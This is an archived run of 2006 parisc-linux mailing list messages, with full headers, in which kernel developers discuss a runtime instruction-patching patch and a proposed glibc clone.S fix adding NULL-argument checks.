X-GMX-UID: qLt6ZGsReSEkdr6WZHQhaXN1IGRvb0Br
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23435

On Fri, Mar 03, 2006 at 03:14:28PM -0500, Kyle McMartin wrote:
> Finally got around to making this work. I don't want to commit it yet,
> as I still haven't decided I like using the x86-esque interface for
> deciding to patch. And the names of some of the things are kind of lame.

Sure...but overall it looks good.

> Someone looking it over would be nice. Ten poins if someone can find
> another use for this that justifies making it as generic as it is.

Anyplace we use asm that could be different for PA20 vs PA11.
__ffs() in include/asm/bitops.h probaby isn't the best example
but it might be good enough to give an idea.
Ie kernel built for PA11 could be optimized for PA20-32bit.

> Also, if you want to test it, you'll need to remove the & ~_PAGE_WRITE from
> PAGE_KERNEL_RO in asm/pgtable.h until we write protect the kernel at a
> later stage.

hrm...are kernel modules loaded into write protected space as well?
If so, then we can't apply this to kernel modules...would kinda limit
how it could be used. E.g. we couldn't get rid of dma_ops indirect
calls.

> -	/* FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
> -	**        PCX-U/U+ do. (eg C200/C240)
> -	**        PCX-T'? Don't know. (eg C110 or similar K-class)
> -	**
> -	** See PDC_MODEL/option 0/SW_CAP word for "Non-coherent IO-PDIR bit".

I'd like to save the comments that specify which CPU/platforms need
certain ops. We need these comments to document which platforms/CPUs
needs to be tested if something related changes.
Can you add leave them someplace in ccio/sba code?

>  	** Hopefully we can patch (NOP) these out at boot time somehow.

This commnent could be deleted though. :)

> +#include <asm/system.h>                /* for instruction patching */

Can we put instruction patching declarations in a new header file?
system.h is way overloaded already.

very cool! ++kyle. :)

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] alternate insn for parisc (ccio/sba)
Date: Fri, 3 Mar 2006 19:35:31 -0500
Lines: 51
Approved: news@gmane.org
Message-ID: <20060304003531.GA30283@quicksilver.road.mcmartin.ca>
References: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
	<20060304003802.GB18473@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624011 18457 80.91.229.3 (22 Nov 2014 02:40:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2006 00:36:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 04 Mar 2006 01:36:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C83597D653;
	Fri,  3 Mar 2006 17:35:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22808-06; Fri, 3 Mar 2006 17:35:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FB0F7D655;
	Fri,  3 Mar 2006 17:35:58 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E79E17D642
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 17:35:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22776-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Mar 2006 17:35:53 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 261117D640
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 17:35:53 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id DB62223E87;
	Fri,  3 Mar 2006 19:35:07 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27270-05; Fri, 3 Mar 2006 19:35:07 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 8FAAE23E86;
	Fri,  3 Mar 2006 19:35:07 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id ECC763B00C; Fri,  3 Mar 2006 19:35:31 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060304003802.GB18473@colo.lackof.org>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pIV6ZExPeSEkMr6WZHQhaXN1IGRvb4AO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23436

On Fri, Mar 03, 2006 at 05:38:02PM -0700, Grant Grundler wrote:
> Anyplace we use asm that could be different for PA20 vs PA11.
> __ffs() in include/asm/bitops.h probaby isn't the best example
> but it might be good enough to give an idea.
> Ie kernel built for PA11 could be optimized for PA20-32bit.
>

*nod* 

> hrm...are kernel modules loaded into write protected space as well?
> If so, then we can't apply this to kernel modules...would kinda limit
> how it could be used. E.g. we couldn't get rid of dma_ops indirect
> calls.
>

Unfortunately, this can't directly be applied to modules. It could
though, be extended by exporting the code, and hacking it into the module
loader, I imagine.
 
> > -	/* FIXME: PCX_W platforms don't need FDC/SYNC. (eg C360)
> > -	**        PCX-U/U+ do. (eg C200/C240)
> > -	**        PCX-T'? Don't know. (eg C110 or similar K-class)
> > -	**
> > -	** See PDC_MODEL/option 0/SW_CAP word for "Non-coherent IO-PDIR bit".
> 
> I'd like to save the comments that specify which CPU/platforms need
> certain ops. We need these comments to document which platforms/CPUs
> needs to be tested if something related changes.
> Can you add leave them someplace in ccio/sba code?
> 

Will do.

> Can we put instruction patching declarations in a new header file?
> system.h is way overloaded already.
> 

Yeah, touching system.h sucks too, as it causes basically everything
to be rebuilt.

> very cool! ++kyle. :)
>

Thanks,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] alternate insn for parisc (ccio/sba)
Date: Sat, 04 Mar 2006 11:21:41 +0800
Lines: 33
Approved: news@gmane.org
Message-ID: <440907C5.7050503@tausq.org>
References: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
	<20060304003802.GB18473@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624011 18460 80.91.229.3 (22 Nov 2014 02:40:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2006 03:21:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 04 Mar 2006 04:21:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CB1E7D655;
	Fri,  3 Mar 2006 20:21:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23639-04; Fri, 3 Mar 2006 20:21:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8416E7D656;
	Fri,  3 Mar 2006 20:21:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52FD17D653
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 20:21:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23235-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 3 Mar 2006 20:21:32 -0700 (MST)
Original-Received: from mailhub.stlglobal.com (ip127.bb146.pacific.net.hk
	[202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 7E2E07D64F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  3 Mar 2006 20:21:32 -0700 (MST)
Original-Received: from rccomp.stlglobal.com ([192.168.100.200])
	by mailhub.stlglobal.com with esmtp (Exim 4.50)
	id 1FFNKh-0006hh-E2; Sat, 04 Mar 2006 11:21:27 +0800
User-Agent: Thunderbird 1.5 (Windows/20051201)
In-Reply-To: <20060304003802.GB18473@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kWJ7ZMgKeSEkI76WZHQhaXN1IGRvbwDR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23437

> Anyplace we use asm that could be different for PA20 vs PA11.
> __ffs() in include/asm/bitops.h probaby isn't the best example
> but it might be good enough to give an idea.
> Ie kernel built for PA11 could be optimized for PA20-32bit.

Just my 2 cents, but unless it is code that is performance critical and
we can demonstrate a significant difference on a particular measurement,
and it is not something that can be determined at compile time, I think
we should do runtime code patching sparingly. If nothing else, it makes
the code harder to read and perhaps to debug.

>> Also, if you want to test it, you'll need to remove the & ~_PAGE_WRITE from
>> PAGE_KERNEL_RO in asm/pgtable.h until we write protect the kernel at a
>> later stage.

Right - it seems we should re-map the kernel read-only after you patch
the insns.

> very cool! ++kyle. :)

it is cool, thanks for working on this, Kyle.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] confirme: bug in arg checking in clone.S
Date: Sat, 04 Mar 2006 20:00:17 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <4409F1D1.70605@tiscali.be>
References: <200601080241.07960.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624012 18463 80.91.229.3 (22 Nov 2014 02:40:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Mar 2006 20:00:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 04 Mar 2006 21:00:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F3157D656;
	Sat,  4 Mar 2006 13:00:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29135-10; Sat, 4 Mar 2006 13:00:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8C827D663;
	Sat,  4 Mar 2006 13:00:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C1D27D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Mar 2006 13:00:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29297-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Mar 2006 13:00:28 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 33FD87D415
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Mar 2006 13:00:28 -0700 (MST)
Original-Received: from ([62.235.227.250]) 
	by guri.is.scarlet.be  with ESMTP id k24K0MZ02059; 
	Sat, 4 Mar 2006 21:00:22 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <200601080241.07960.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: spR7ZMUueSEkc76WZHQhaXN1IGRvbwBG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23438

Hello Mike and list,

Mike Frysinger wrote:
> for some reason the attached test case (originally from LTP) segfaults on 
> glibc/hppa systems ... every other arch ive tested on works fine ...
> 
Ok I find this LTP Stuff.
# ./clone04
clone04     1  BROK  :  Unexpected signal 11 received.


Effectively, as the comment said:
  * DESCRIPTION
  *      Verify that,
  *      clone(2) returns -1 and sets errno to EINVAL if
  *      child stack is set to a zero value(NULL)

Also as your subject better explain, the hppa implementation didn't do a "Sanity check arguments" (as other arch does).

Can somebody could check this patch proposal:
--- ./sysdeps/unix/sysv/linux/hppa/clone.S.Orig 2006-01-14 17:48:33.000000000 +0000
+++ ./sysdeps/unix/sysv/linux/hppa/clone.S      2006-03-04 19:46:03.000000000 +0000
@@ -46,6 +46,11 @@
          .text
  ENTRY(__clone)

+       /* Sanity check arguments.  */
+       ldi     -EINVAL, %ret0
+       comib,=,n       0,%r26,.Lerror  /* no NULL function pointers */
+       comib,=,n       0,%r25,.Lerror  /* no NULL stack pointers */
+
         /* Save the fn ptr and arg on the new stack.  */
         stwm    %r26,64(%r25)
         stw     %r23,-60(%r25)
====<>====

(Not sure I didn't miss some nop in delay slot on comib?)

Thanks in advance,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] alternate insn for parisc (ccio/sba)
Date: Mon, 6 Mar 2006 11:05:15 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20060306160515.GB3208@quicksilver.road.mcmartin.ca>
References: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
	<20060304003802.GB18473@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624012 18465 80.91.229.3 (22 Nov 2014 02:40:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Mar 2006 16:28:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 06 Mar 2006 17:28:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEAD97D64C;
	Mon,  6 Mar 2006 09:28:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11466-09; Mon, 6 Mar 2006 09:28:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DCB87D645;
	Mon,  6 Mar 2006 09:28:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E8B77D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 09:28:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11356-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Mar 2006 09:28:12 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 0426A7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 09:28:11 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id C2F5923E86;
	Mon,  6 Mar 2006 11:27:37 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21714-03; Mon, 6 Mar 2006 11:27:37 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (quicksilver.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id E771523E87;
	Mon,  6 Mar 2006 11:27:36 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 7C4993B063; Mon,  6 Mar 2006 11:05:15 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060304003802.GB18473@colo.lackof.org>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cgZ+ZMoyeSEkKb6WZHQhaXN1IGRvbwBa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23439

On Fri, Mar 03, 2006 at 05:38:02PM -0700, Grant Grundler wrote:
> hrm...are kernel modules loaded into write protected space as well?
> If so, then we can't apply this to kernel modules...would kinda limit
> how it could be used. E.g. we couldn't get rid of dma_ops indirect
> calls.
>

I just got an idea for fixing the indirect calls style thing... Would it
be possible to do "run time" relocation of certain indirect calls if we
know they won't ever differ for a given kernel boot? I guess it wouldn't
be too terribly difficult if the linker would just leave certain relocations
unprocessed, and make sure all possible, for example, dma_ops function
pointers were reachable from the given stub? 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] alternate insn for parisc (ccio/sba)
Date: Mon, 6 Mar 2006 10:07:29 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20060306170729.GB21702@colo.lackof.org>
References: <20060303201428.GA25283@quicksilver.road.mcmartin.ca>
	<20060304003802.GB18473@colo.lackof.org>
	<440907C5.7050503@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624012 18468 80.91.229.3 (22 Nov 2014 02:40:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Mar 2006 16:57:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 06 Mar 2006 17:57:03 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC10B7D665;
	Mon,  6 Mar 2006 09:57:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12044-09; Mon, 6 Mar 2006 09:57:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F2637D666;
	Mon,  6 Mar 2006 09:57:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BBE97D662
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 09:56:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12026-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 6 Mar 2006 09:56:56 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8735B7D65C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  6 Mar 2006 09:56:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 238D736003C;
	Mon,  6 Mar 2006 10:07:31 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
